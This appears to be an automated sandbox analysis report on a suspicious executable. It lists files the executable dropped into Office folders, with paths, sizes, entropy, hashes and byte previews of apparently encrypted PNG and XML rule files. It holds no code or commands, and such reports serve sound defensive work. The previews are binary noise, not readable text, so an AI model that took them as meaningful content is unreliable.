SHA1:	8B41E45444E93BB5CAF53575B254C1E0FD6F1C95
SHA-256:	61A585EFC6740FC8FB8ADD157A55ECBF8A3CE1FB1C4467294757A38FF1351CF7
SHA-512:	84CD95CBFCA60DB69E402155F4258D13AD89860D4BF58E0063877C84ABD1C4E9599EDFC4F66B0C7E887E1336B3D6DFB1B52A104F8088C47DBA6D14F84D56E4A8
Malicious:	false
Preview:	.PNG....$.\..6S....8U....E..o3....r..h.......F..f..':...J...`.<.....^...=U<..;P%...dC..:......<..4_...,l6......\|N]YO..W.p....Ys...P..N\|B.K.J..'.C..N.].Z..U..../{...Q..%.A.4[..?\|v/......w.a...A.7...._.l..x...Q...[.Z._..`R&35Ut..(F....0.0.".S.W...T==...?..x..4.@.8.^..f.`....p.6.(w..3T.ug.M..D9f.7...fKMT.f:...k...:{.q q....9...j..tP7..8F._....cQ.tc.3...c...2......K/..z..'.4:&\...Z.J-.}..F.7.....?...\.P....J.jE.`.>U\qX.Vw.s.k=..iDq.Y.'..\|U.8...K...5..7rM...Sc...r...]."...7\....U...:.........8.".....Pt3[Q.[3Y.. ..e.....r.?.+.....Tz.q..%)y?XO........!b\|....!na.(\.....F...(.x..[.s..1..[.!....v..!...&k..<.2..a.._9.=..\|l.r.P..._.v...9.$6.W...jO.Z.2...+.z..9.Z..{..>r..p..".....U#..69..}.wL.gZ.^y..Q....}...@eT.{...T.0...mxX.... ......v9OU.3n5.,6....<ez.&..3.-..[bb.B!...L.b......A`%h....:....e.~.M..8Os.#f...}.}.....5.D..G:.k..T.mz.i..H%~,.3..n.$..."..i.^...<[...`...u.!..t.,..?.C.c.3...?.&)W...U.c..5d..Y.....At.8.W....z.=~.)Ql.i.i.$..}..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{7D2AAE1F-E21C-4042-8EAB-08D27101C10B}mt11414620.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	8887
Entropy (8bit):	7.974891123875796
Encrypted:	false
SSDEEP:	192:t+LuTuZeuAq6W0uIzjwjyaw72bIZEKRYbeRmm2/:XTRrLXlMqDEEYaAmW
MD5:	90C836E120193848436FEA64422B608F
SHA1:	9E6B1A0697B3D051D025DDE7FBC08EE92D010145
SHA-256:	AC5DCD58C203F94A6A0D849302F1D05839889FCB3755158ADC56849A49E524CD
SHA-512:	8DB487BF7A980EB879A493E92E5804A3D1658B2C84E8CAD81CA39174DE2230FC50621F2E2B25C321A22A128EABDF6605E63448106518C336DBD2BDBAEA11E242
Malicious:	false
Preview:	.PNG...^...#Sz.I.....M.X......]..Wk0.s/...Y.#.......5.9&A.4.......PB1..PIp..e.;...9il..\9.M...[i.3U..x.0.@..,R...h..s.#..........\|yu.;..bc..J..Zzz..k4...k..........i..L......B\4w...=.ra.G.........IC....g=.g...v... .DJ.#.g..n........?.w.+..Q..... .i...T.....U.[.1........./:.t.w.&..?..3/MC.I5.k.=......l....8.j\.\rK.....h..y.e.;yT....e.&.......[c.T.2..P.:Rlw.....0=........pq_a.T..\|l...;........L..,nGxj...ID.b..4K..~.\|.*...\|.u.H.".8r/..G..h....<..j.qm."!..9?.en....R'.\..y...s.^...2.[..R..;8.Bx...^.huy..%..^$.L..; ..S.R....;..h...4P.4..m......cs.7'.V...F&.P...X(.).od.q....?3.tWk.7b.?..k ...np{Ev..DA~....'../.."......p.uU.g.$e...).......U..x]..h....+]...Z".A.:Y........$..;Ny\..y.....+x_....UT.....Cka.5.6..\|.j.Y.C....P..........RCG2.Z.....b!.R.....PT..s;?.=..c.%.<..q..M....f..,CzH._b.e<>....U.R.}eM.'........!.J.%...{..M.H....=..=F.T}:...(....'./.EH/>.....j.....8n0R..Z#.O...X!.....E.>$K.....h..#...%;DV?.9.^.@...Ua..e.O~.`..2.3...).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{967E9DC2-54C6-4D72-9409-715F9A3F61E5}mt11829122.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	14457
Entropy (8bit):	7.9872103465020485
Encrypted:	false
SSDEEP:	384:FII0FLyGcNdbNntGctMzFKbOZR9ibaQcHh8RF9n:GNGlR0cIzZR9wabhk
MD5:	EFE8F750858E969EDF6ACB5166965BB2
SHA1:	36D64098EFDE9306CC80A917C96155FD31C55660
SHA-256:	8D80A8B79D373AB1AE0E6EF05F62266B6B7C5D14F5D1C80315138C90D8225BFC
SHA-512:	7D931EB5D54946E7827CF19C2259DA9A05899B351A8E04BFCCE64EC4F1313BB3506B048D18DB1993BB2AC1D0BF3BCBE5E2ECA56098CF6DD69A960D4BE8F4A743
Malicious:	false
Preview:	.PNG....7.Zc...]an..].v..b...8._..BL.q$...2..&.....a6.>w.$f..v..PR.`........a....N.l....H....\Z.f..kc.].....>....P..q.8OP..4.q.}^....,`^aR.....'.5.^-.@....f...u..N.eg.Yr9....<.f'0=RR5U9..Y...{..g..osapE.....h.g3....,..a....=F`z..=...1...Z+`..7+.y9...@.........E..........:._5c...S.v......r.....-.U.-.G...Y.LW&'.N&.....(...dbn'.........k....R.4Xp.9.. ..0T....p.].j.....=%B....G.G.S....}O0x.s...a...FJ....R....S3...D....e..v..^.Ey~...K.{......S..-.w%......?.$Dp,k.3.s.7....r..m...Qf.4FZ,m..)V.}?\|..`.ob!O..j..].}...h.^J........~n....wF{.N..jO.=U. ...p...U\|.z!2..5.X!..Kgy..G...R..........F6..W...Kp..W=..~...`[1.......E...vQKe..._..r.d...).31..}._........FLfn....mW~..%.\|6C..km.n.\|.......&.]..q..I.<%...4U .D_..&../.?...q.\|..%..T.k~.x........~/h..'.\|mHVM..}D............j...T.}..r.wcSx....&Y{.o.&C.S...TX.....U2..8G.na....ok.$....`...E.^.u......6......<\|.....;.?J..H.me...i.n&.,...W.0....41E..:....s...l...K..=g....VO.zd.e....&j...{I...n..L

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{A4858C46-92BF-4775-ADF9-F93EB4C5F636}mt66963475.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7986
Entropy (8bit):	7.973774700643844
Encrypted:	false
SSDEEP:	192:+PzJWGqpDOeI3ma3FkmXCRU4I/gbkqUYknZk51xpEjgaQpA:+PzcdhOeI3mgHm1xRUiBZaQC
MD5:	3F7A9692B2E65FE2E0F02015AD8F448D
SHA1:	89A99189609D0B4ED7F82897B6C05E4C9BDEF544
SHA-256:	5CE5012BDFD160ACF170CF11D4211F2A0E8452B70577E73BB4187DC39C31D392
SHA-512:	A7B0D242BF4FE90A35479507DB5C3271B1DCE8CFEEBC75DE8F9495E7D711C9D2D8BBD33E1D7514404A4BFB381687A07386215818BA80FF0B67865B7524776229
Malicious:	false
Preview:	.PNG.50).2Y...T..m<2...=..'I40E..]...Y..........%..O..nU.=...y~Y....=..O....+.....i .5.O..B..m.&.0.T.M........5........gR../6......a&.@.3..N...=..j.Z?.eR...S....Tr..(..%.e..P.....(..Px.7.8_..En..R.u....Jr..$.:..)...>..#.....+.]....c... .)....y~.]K.....[..Fe....k.{b.w.G..a...&V1.29...QI.C<K...'.w....6.\|.!..aR..BN5...AQ..>...>.Z...l....!,.Q?_aj......@:..{...%@n.&.....S-..G...W.jGTV.B..G.[u...K...Y...d.....y.~._BK.!.[Q.....S..r...\|...J...^...D.......j...(...9d...}'/.W.i.Q[.m.z).Z.......&......dDr........$......C..\|..N.(.8.....[.$.Vl[x!,.A.^..J......j....>.....y...~........3....G..i..{.[.i...b.3.6".2...m...2.J}..7Bh.s/..L...c2.3C.4..9qc= .).....Gh.<... ^...2V{....=W..D.M..m;.....Tr.k.......G.K.8'f6.>...E((..!-....X..7.].o..SV.`=B.}....4$3.c(\|<7I..Q.$ :A81.D.@....o..&...:.;q.hhu.]....T........Gq.r.~..o..b...Je.j..........v.....*.WL..@....%.@..`3I..{.......v+1..q...4oL.RpoD.g..&...Z.e..9....a=..j.......bA......a._.FiM.I.&.6;O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{AA4547C7-FE83-48AB-9053-3A60F16A4C34}mt10000137.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	5293
Entropy (8bit):	7.964487285439764
Encrypted:	false
SSDEEP:	96:5Q54+e/mn41nAmM+ZZOC1ms9BpfczYoTADoqmHLveVOxRiStMmOr889ru0VINUn:k4Gn41ADSZO89ZoTAU7TeVOxRFZ2889H
MD5:	42B0FE9B2186DBAE25C75DC01BFDB5A6
SHA1:	9EB6112BA6074B3949FFDF6C16F9F2E5D5BFCF0E
SHA-256:	34CEF8A67FBDF47EA0EBB5DF247748A4ABF51F59DE006FDDBBD3D7A81BAADD83
SHA-512:	5C870191FFBDCDB958E6C5027C6DD7771E48D754DD3A14D3CDE578133036BEBA1E1468930FCAE1A8A1F76B29D0FF325E2C1B2010A85C07E4BAB46A6015919C62
Malicious:	false
Preview:	.PNG.L.B.W.J6.....m.c..6..s-......w.Z.d.~.....e@..Y.X.d..[W...UN'...px.....TL.M)..2....=.)t....."..C...T. 5...h.....L~..^......E1g...\..N.R.z.. ...L.._...&o.i\......=.\|...Z.?....T....R8...~.tt......K...,FD[.-...b....f.."U.9......\|.....o`.(22.....n.'m.q..9#..A^........qeE...^.&.q.ua..?D....A....@&. .3y......@.."...U.........F'.>..DQvys..0U.#2...?lf.!.p3.i,..\|..#X(...S.Q....z..4....>.Gc...n..q.S..a.D.{.......1....a....t......."...F_2.2....1...6..wE...{F(.....`....C....T/3..>.>=e&`..bl....e.u"..t...%"!B!.p...iX.F;.......#W.1...M..:..r._.....}U.Z...$t...o.B[.P.\|...Z...2...m...h[.ek.. E/....h.....w...~8...j.)..3......$)...x]..t...3..1.bo4.AO?qW.>b..7..OD...fO. Q{^`..S...0q..w.:).?.R.9w.?s...I...U..M>.H.+05.a8.L..W...w......8Vj1C34E.S"...?.Q.lQ.~........V..Z.N7..@.F....E../.}./..d.?v2.~Mr..y(..Q....K=..=x.....k..y.2.{.Mlo1..UA....?.c..9...;......g.w.......w..v$..\=...`h29..^.7i~...T].V.=.W...l_x....H..y.$."....a..#.p......>..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{F5FB5847-D24A-455C-A647-40C253091672}mt67739505.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	9080
Entropy (8bit):	7.976916591907071
Encrypted:	false
SSDEEP:	192:5zyfzxvVv5ubNyHL2hpGriZrZFtRZopKkd45l87iv+Wgb055Hk:5zglvVRu0r2eCVEpH4qiv/4
MD5:	40DA684DBA9E3812019B83FDE1B2CE00
SHA1:	A510B408BDE2FF853784C05C242AA1A99D20E409
SHA-256:	31C70E0915270D9A01B9D8E26E71C794056A91757374E84A26956DAFF423A26B
SHA-512:	7F1E0403CF70CCCFA2A0120DA273F5878283E173F8E7334823E2F5AA0CD26F2A800B807C0CFDDB29249BF8FDF2935320D7C7BE99BD11FCE8FB91FB607D9307D4
Malicious:	false
Preview:	.PNG....*Cd;!.....vB...._...a....y._.........."0{...x.\|f".....9...=}.^1...UX8...H..{L?..r}...U{.Z.&.g.H.....D....:.T&.:.N.Bt\|.G/'_...u.3.t..N.^bZ4..`.#.fP...o!..a........pX....x..c.....4.I...V.S..4..<..r[h.=.9.+...K.pAKu8.Z1..Z1.m.....".~l.%..U.s._.[../..F.m..[.....@..FD.{k.........^..G(.....FP..,C....(...a.!.......o.R.8....H.8H...d..ZO...`>......8.j+...@..f[/.Xy......Mp3.U....j.E.-N0.c(..>i..{....m..vD.....a...l......N......"..j.#.m..W.[y......>Q.U.2<.q.}...E.5l.......1.G.G.{..d....H8....S.\..\|I=.#.6..eu.>..I....-..V.M.4..........GA?e.q.'.^.k..I.rcS...Od.-....w9.]...EQ...2..)Xk.f.....;@2.F...~.&.`.C2...D...=.....1..jm..7`Q[.Q21J/.i..X.......S.D..@...%..6....`..,.Z.=......0.../^i...G....H.RP.e.pW.7....f..[. .S..f.>63xk-r). ?.(h.y.m.'..43...(.97..n8. ..~..7........aA.1..(?.kI.O..mm....al..L{.....[..).1&q._..n.#.r.J...L=...W....^....RyQ....2..Bn;..`X..u. {?P.K.....I)..7..8.....].........A...U.:.._.c....we.N..T........W>...G ....l2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{FD5FD857-5A38-4C81-A322-3226BB279FAA}mt45299826.png

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	9025
Entropy (8bit):	7.977502488127141
Encrypted:	false
SSDEEP:	192:eHAqV8GfZEevQ2YaaVaE/IJsCZlAtYQd8mUx13F1DA8D/V3:et8iZG5aKI9f0Y11KU3
MD5:	16E7F54B7E61DAA5CC433B4A74534D1C
SHA1:	9FE348AFD2EC3940DF69736BA29C7E359F41B646
SHA-256:	F8CF4A2916AAE1DE341FB5774627FF39041AC3C060EF83C57A1ED75548E65B82
SHA-512:	DEA17A5DCC75A3A9BD5CAC6C70FF9484F696673A3C932B9E070AA323ED859A807741F1E43498A0798DD45519ACE9BAAACACECFDB1E380824ED41472A990A1754
Malicious:	false
Preview:	.PNG.C.&#..(.r..p...[fJG..r....6...........C+...`]"...>..w......................-.g....(J{..RR6.>7?..k..zB..2......3.....O."D3D...H&......5QD4f...\.i>..R!Y.....^.~.P.}.x/R[{........HU..2...wf.....ct.=..Nm..Rtfsa.Y....2........ !.X+.../.w^.....Q.....f.....%p..'.6a...... ....".u..+z...%.9....4....Y..(4.W.U!. .Q...N8..h..CHW.1......A..'Tm......a.K%:.d....D..}.YW.......ZSx.IgwA..1I.4...)?.M..mxR.>L/...0i.e..qJ.H....Dn..T;.I.....ZwKs.y..(q..q...ii@.. T.l....#.J...w$v.=.....sK.O..9S.[........>..7..7xl.C..8'&V...!d..0.2@g:.(.!.hp..>.SmDa..V^n.5..7D.K._..e..B....n..jY.mRv....u...t.r....K?p..W.sU.........../x._O.1.:.tT....}sk.r..G(L..t.,...,..c.....o.....zq..R._."......'....f.5L_.......J..C./.T..r.Y..o.@......^.{...o@(..\|..D.B..Sj..6.Oo.Sj[.....]>..F.V.V..............".......Q.L8.s.]....5<.....g.....@n.$....\...Q ..U\3jg...%..n2b.v..\|c.$......(!.J.KO.W...~d..r=.....a<.......ho.o.._...F.k..:rI=d{.f.G.s...w..w......p2FE...Y..M..j..G..A..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	208087
Entropy (8bit):	7.725581149653429
Encrypted:	false
SSDEEP:	3072:qpZrAsULyBbCCOH+nQ+XFyRTimeXMpkkeUfwvXQYpRkgxkP:qDdULyBbCCOH+nQiFyRTd/pZAgRb
MD5:	7ABC52458B36A424A133193D1B5D5D46
SHA1:	3AA7A3E49CC27C2007E80D1B5F45BC5652DA70EE
SHA-256:	17D4D2A0235A3943F19EE6AAE5D2F3CD473ED7F157D31613D78742710298CCE0
SHA-512:	2184238B6037F10B6C21510DB90D994E9F6F94007683CCD41A33647997947D31468AE5A4BD32593067DD562102778096CFEC1ED2DD04F254914EC87FBE0BEDE4
Malicious:	false
Preview:	<?xml...i,.A'U"O4..G0.s..O.#h.Q...8g((.Y.I.J.g5.S..!....~xZ..5[....1\.B.......1..(n......3....}......n0.2U.) /QO{.8..Mu+@..)...3I-T...;A..H.......S...jO4ooZZ.o.h.h...L.f.....6.Y...Ugf\|nx6}.pHs[...lu.d77......;W._.. ..!......,.Vz.1.........~..N5.../[...x...h...:.....T.fK}4.C`........0a.m?e&=.='[....C-.".>..(\|......>....f.@...?1.@N>..L./9..G.f...er\|.:4.\|.k.=.....G..m.......W>.4..~....:.?...Q.)..X..N...".` .e...D}J.........X...E.[..@..v.....HM.x..X.tL:.hA..%..l..0.[F...#..si.;yF;\|....N...Xi...."xk.}.....F...Up..SG.A..b.Z..[.IM..U...V..8.p.'R....!6.u.....7t{..}....S~^......c.....c.P.mg1.3..,._p..6..F@............n..).>/..cy..w.{...........8....~...ux...`.F4.A..I.q%?./.<..r./2....C.2m.O...>...C.2i.....uW........"(.6.f+....O....b.p..o...Z%{..c.......=..-k....C..3...F...r.....1yS..,..it.!,F.\FU..k....e...Ww...w..E0...sMc).#..p{....V.\|M.e..8..B.mI.+}...\|...g....-I.....(.{#F.....'..$k.C#..`..2.q....:.CBTP./I......o5..t4......(...o<q........~1B....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.936111342630057
Encrypted:	false
SSDEEP:	48:SPH9HH5CJgAmb1Pfhf5lNx0HIc6H/+EUaMxrDY050mkZZ6p/VFe5XMkDI2Z1vtsb:SP5HIJgAEPfF5lN9xUa8Y050mO6p/VFH
MD5:	DB859A4BA96ED382F32045BBBCC23E73
SHA1:	6C0505F42020B81276D88F3F0C33D674E231620D
SHA-256:	B0B72DB28D0DDDF5C02AEF4410828D23BB0E9815668E332ABCCC7AE51BF53D49
SHA-512:	055D193E1B57A10E2B66C3C44193239E3C6329EE73B02AE824C9D5219A97546BC22F185D4562369C72EED71BE2D5873D8831E47AA05EF2DF321FDEA7F3217F8A
Malicious:	false
Preview:	<?xmlu.m.z2wQ.+..)...p.o..5Wg.=..H......ws...RE....z_.........d%...F.L......yf.B..).]{......n..&...,p.=.S.....\|....Af>..!...&...W..#}(..7..s8O....`;....0JnD....]e....s$f.....d.7.AMH'.....4."{..6.`_.w..._O.S......o..2.U.....+...M....JB..O.X$.b.....@vo.M.....2.i...b.X.....&.+?...6...8.`Af+0..KK.8.S.....z..A.Fy.2}B.q.....fJ.H&w?...7$......x....k...S0.t..O..7....`.=.Yr~h)..X.a..-u..qG...n&.>G...q."..j7..O.drA..\B..6....i.....+.:;..!...q.%...x..ii$.8/.S.....d..D.......NT..l)'.%T$...[.":..P.._:b..X.;.n._..b.........(X..2>.e...X....I...<.WT../V...o"W...%.:........6yJ....f.8....an!(........,....U.%..\|...?..#..d.L.'.'.f...k.G..M.1...<?....x[.[a.G.,.A,..Qr#..............][;...Usr..M.eK.8.^..6.....!..KU.+.....Q&.x~.!=..S.r..h..p..%8Ht#......#..<.8v.\..Z..........1.%1..B..].......!..RA..p.k./.....Xo.4.mRb....}F.Z...s3\|3u...>... z\|;qB...e2;..L.Jx....".4..E{..X.h.M<k. ....,6.K.;c..MW...{>l@...%.f.>.?uA..R6tK4..........1.f} ...qsS.{x...d...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.691250443721432
Encrypted:	false
SSDEEP:	12:oMiFFdYoAGLNv3UxRSE854Jud6jNMKZ8I6IalpkhMM5kR0eSz1+cii9a:vi953UxRSE85sud6qKupe/5kR0LAbD
MD5:	EB4965BC2F2247CC16FA7FBDB6E45EAE
SHA1:	604116E0DE0F5D06FF84D637B4445EE98D0B242C
SHA-256:	E8EA33600131BB59D2EA16D251992C424A4CD12FD2B28EAD8A963A9E48EED29C
SHA-512:	771ED0CF7787EAA872C1543E3EE7CF0AD79AE36CA3BB9F54A4DE1DD71CA4DD0FAD37B85A841F318A41F0BDA8D3B9AEF45C14E8B430B7BE9BF8CA2308AC5DE28F
Malicious:	false
Preview:	<?xml..}.w...m..ys..Y...7;OX..t..Y....ly .(...5\|...}......k.p....)D...Z...4..]....<...5<r<..\|.../..1.C..I..:....4..g.RQp{...0.a.N...^.5V.W.._.........0bVI.1.....sF7...JS..<y9v....+./...F..q.....js.8X.......n..k.{.....r{..+.G....<.....@..~8A......f.;}!...Q`.v._q.`.}.Y..>........xSQ.a.K.,.C....e..0..pd .gV....v..A..w>k..)..W..M....EV..=..8..]).`...!..7xMd........"X.gu/....O..p..C..=...Tp&.........w..}...]../..".x9.l{.j...>.s.../.P@W.'...a..vz!H^..............)...G9.I.V.XJ.b%W..G.R...i.._.?H7..g.-C...jPX..`z..k.....V9.....G.A...J......PV..n..9.O<.$V...?..g`y.d:.._b../.........k........N...uQ<.......V~hg..r..1..V.U....0...;.2....0.....S:,...k..z1.D"p.E`[jI.......l..-.]%SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.951980683907845
Encrypted:	false
SSDEEP:	48:lpPJVeF2I2RE8dIBmENuFu1pJkZQKFipAoGSvRDmogm2Ozz4wFknD:lpPXxxOlNNpJAHFeA57oEOzzhA
MD5:	52701D460A979EF64A8AFFCCA9C2FF7D
SHA1:	627ED7616B8EB26BEC30A8CED406DA87C7F5F765
SHA-256:	308A8B3A0492ADD228117B87FD20B78424CB413E6FA91F14ADF619FB36CDB205
SHA-512:	42583CB9AA3A371ED700A3F714AB83902B91346E9A27984EABEA361EFB8E46DBC0B208F6228D1EC0C9077E06FF03C270F0E5455FC9DF6A0B2B110B0DF4EA24F5
Malicious:	false
Preview:	<?xmlsh.\..,.@Np.BF.$.'.g.49.~..B.c.3.^..O=i.n.#.....9>.......V.R..s...~.i>;.h....28.....j.Y...S$:..3....p...Y)/...(...t..EIVf..(.!}.;..V....1b(..L.=..y.c.^..4._.[QY....?luk.[8&e.1S..m......m..b#A0".M..gQ..1HE.2f;.N.R.(~l...s.R.c4..^[.R..........u......j.-...p..9CHk.n.H....=........j..ek#...V...#..........a.D..tT.VB.?..?..0......G......g.8+Y..q...p."d._.>c........-...>..}....Vh&.1......X."...^...e...m..G..0,.0<%3...%.bf.l.w.f..Ea0.w]:^.w!..Z`.1k......@.......s>......?....k..Hm...$..I.K(+;..[....hh. d1Wg....z.Eo.2[f....h.?[.f......q:.9.NONi.._.<......Vo.ty/X..0..~l.,..C@1...9-....JO.{.I......z.>'s<.W...`.RO...}.Xk.c5.{.A......Zn.McRi.......I.D4...n#.....;v..t..@G.V..;.....=..........].....O.4.. ....R.....9..u..i^..B.l.g.#yD/I....K...$m..........~J.s.q..W.._......_..\Y0....R]V......Ph...s.........i.B..m...+..... Gp.[.~..E5..kyM...#.h..#.;."...[....!..Wd...:U..~...,..........'./[...:.q/E.\|..o....wh.A..x.3...,51t=...\|.....zJ.(Lq..=.._t4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.713712969374031
Encrypted:	false
SSDEEP:	24:1JF1HZQBBc8G8NDglbZOoUmwU+0MJtQ1egwbD:1X156cJY6OuPy815qD
MD5:	15C65F604C23D5C63930CEE48C9D768D
SHA1:	373502A88CEA49D9809F4DCBF2C941C670945793
SHA-256:	752108DCF6CF3308BAD1CA8DCB9DB4D734201F080327385BEEF3C0B38CA0C083
SHA-512:	45951DE300CF119A4D3FFCE5261B560780742D3A9640A81D37B5D4CB7AF4BD7F884D17E5FCED6873196A7B9866FD336C6FB700C0BD69A05187D2234B5A80AD26
Malicious:	false
Preview:	<?xmli/..:.I.."....r+s..A.6.6..tu...\|`T...{.3.B\|t.hm....,..9QRB.d..M.Ngk....Bv.Y.Bv.`D..!..........U.q..L.....1."\9J.Ty...2.C.JF_...b...c].U........eQ.p.7..4`.$.......8....pj{~.j....\|.,i....Np.....8"Wk.j.x.2.U.M.gS.E.2.5.F....).09...L.."B.v.U...mT..$.#.o.).s%....G@.......(.t.'.!N.H...]....`\..o.k9]8.?..Es..w.@u.O......,,.x..._l.V.D.x.w..V...A.Pe...C.b1.a......W\...3..........\|.-........Jx..?oc~..n`_...6...p.....<L...g.{y..P.T......~..2-j.s.{.]...yH.....&.Tq_h.}'.9_zm.....g....m3O.....g.n..A...J..c..b.k..e..a...^r..l.x....#.R..C...v.(.Q..l.r+..<.g..j........4..ot.f..a.@ ......>+..8..w..S.F.L0y.J...U]Q.`@.........v.v...6...@..K.b.E...^,=.,qu.f.i@...x.K.J.n\|P8.3....(Qv..9...<D.N..O...?v`....$P^.\.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.945268637789437
Encrypted:	false
SSDEEP:	48:auwrYR6FecnV0vlrpbzYPJe9IDaiy6AM2sMOpLqiSYEW8ykDfH/XDKbG/CF4vD2m:aDY4FWNzwe9IDafxsTjHk7TKbqCFtUbR
MD5:	591263B8104764A2E7DE223F923EFB1C
SHA1:	50380A86C5CA5A0389A5562572C3443BBDB290C3
SHA-256:	B716E217FF0E5C83F89153E70B32519B2DBD19E1FC5CC6AFB8098A8CE8980BE4
SHA-512:	04BEF6CF9F605E905AB859793B422325DFF1FB925D0CBF058E849B49853B09C20C3701FB02967D9BCC943CB3EBF42F75DD078D9322AB227D6978E38964338E80
Malicious:	false
Preview:	<?xml,.U+w{..n^..X...<l.......!.`...),6.%..c9.hk3.....B."..+.u....".-....1.PVShFN..x..>#...p.N+...8.....T..D~\|.g...Y.g.. ....-X#....iI.c.H.X.u.E...{......n..+..~.g..a.>...UU.d?.a....@..B..v_p.!..~.rv..Bh-ZV@.......~f.......-.cL..-.."..c.RR<v.i.f..^...o.(O...V........6...&..yq..0+...BS.^>Q........k.7.......=.....k....1..y%..j..N;.{n....!.......O;~.....0O.z..m.Z'..-.....C.T9....".X...._X..y.....!'..Yn.%...u..[.3.@.8... >)$x=.k..,8...(......nNgj.Vv....x.....\|..tm.N.[...-._....c...e.@.H.....M.r....,..)V...-.\|..u...L.........\\|....;jY.....\....\..."...7.S.K..swG..ed..;....3..,....se....bj..D......../m.....p.;.^..c..L....o....b........ .1.<=....;+....F.. R...e...K.p.-YZ.q.I.....~=..8I.....\o.yp....+....,K............_v....F......e"8q."..cS}J.p..{.;...(.7...:$........C.J/..u..]"...:A.&S..S.k..9Z.a...9..K.6g.....b..w.....;.?..&......[m.{C.....pl)...<S._.../..=.D.......yS..9;.....y...u3f..`...0.3]s..(..X.V.rDbe...[D$.2H.....C.4'9to.P......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.829243419440001
Encrypted:	false
SSDEEP:	24:T/+whdYkzb130tFUPNp4jWqP1rxiWyuEGCGiV6l9oLjyMAw09UjbD:LJOkPkUP7pqpiAiVW9oLjyMAr9U3D
MD5:	A908EEC215588C9FF84746CC89F53376
SHA1:	55A12E04D1F6394E57C9B4F37B34C6A93F9F689F
SHA-256:	2DF8D03A5781528B8194EBE3E452EECA0C16FA78F25FA410D08FFABD3C4E4793
SHA-512:	967C8320F8FCCF522130308576775FB651611E120461B21E8727FD7639B9ABA16312D893B892A1D8E79690A97F39E94C20FCF406BECD5B7058AB43CC0924D9E9
Malicious:	false
Preview:	<?xml_.:U.]JqZi...N.5.`JRzg..6...n....W.".?.pd\.2p....m......o..?.J......s..VvZcT.:~>...S."J2..3.........7..j.Rkt.._.}..G~......m>.k.sH...V..<..y...R.%...\.}.Y.!8...;.V.....-......<....T.e<...5...Ns.fTn,.....T..s ..ZNCicv:=Or..o(..}..hAB...\%'7.^.p.(3i..vfN....g.........X.9.u....}f.......<.?.Z....%^..mS...L..]..............@oU#.\|[.A...B.IA.7..+.-.........b..t62.h.....G.3.m{....A.Ygb0m..I....v............./fJ....d.(B.7z......D......\|...D.93..xp...c......0M. .....y..\>h..........D...fl-%.._...&..V.%.....A..s?.e..^.~.vD..x..#..w3...Q.Hm#0..Y@.....v.,....q.h~N..?.\k...+z.(r..f...!.I.k=....uDo......,.B.A../.<.....R..i..K@....../..%.e,(....J $...1......&.{...IC{ .E..~.,b#..L..1..k2n.....Z......o......x.4.....lJL.6.....".."[..jc.....g).Q.......<a.m_....#5..rw...f..Q...t.u.;8....{.efT=.+S.`.X.*..r.8....T...p...+.z.T..S..{K........\K.rQ...Gw.0......J...y..`.Q..Q.]K.'..6.v.v.l.iL.=."IR.41..<..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.869349741121832
Encrypted:	false
